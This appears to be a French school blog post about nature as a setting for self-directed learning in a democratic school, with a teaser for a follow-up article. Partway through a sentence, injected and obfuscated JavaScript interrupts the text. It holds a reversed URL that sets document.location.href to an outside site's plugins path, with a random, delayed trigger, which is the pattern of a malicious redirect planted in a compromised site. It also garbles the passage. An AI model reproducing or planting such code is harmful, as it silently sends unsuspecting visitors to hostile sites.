Les propositions de la nature

Bonjour !

J’ai récemment écouté des conférences qui m’ont interpellé sur la question de notre place dans la nature et de notre capacité à s’harmoniser avec son rythme, avec ses saisons. Alors aujourd’hui, j’avais envie de vous parler de la place centrale de la nature dans notre projet d’école.

En tant qu’école, nous visons l’organisation d’un environnement favorable pour apprendre et entreprendre, pour explorer et créer, pour (se) connaître, (se) développer…  et devenir la personne qu’on a envie d’être. Et si la nature était un des ingrédients fondamentaux de cet environnement ?

Quand on discute avec quelqu’un.e qui découvre notre projet, on échappe rarement à cette fameuse question : « Si vous ne proposez pas de cours ou d’ateliers, comment les enfants vont-ils découvrir de nouvelles choses, comment vont-ils s’ouvrir au monde? » J’ai de multiples réponses mais celle que j’ai envie de vous apporter dans cet article se centrera sur quelques propositions que la nature a à nous faire… 🙂

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Mais comment les enfants apprennent ?

Vous êtes peut-être déjà toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tombé.es sur cette expression, souvent utilisée pour décrire une école démocratique : « une école sans profs, sans cours, sans emploi du temps ». Forcément, ça intrigue, ça questionne, ça semble fou. Ça l’est moins quand on regarde de plus près les recherches sur le fonctionnement des apprentissages, le besoin d’être motivé.e de l’intérieur, d’avoir le temps, d’être dans un état d’esprit de curiosité joyeuse.. Lire la suite « Mais comment les enfants apprennent ? »

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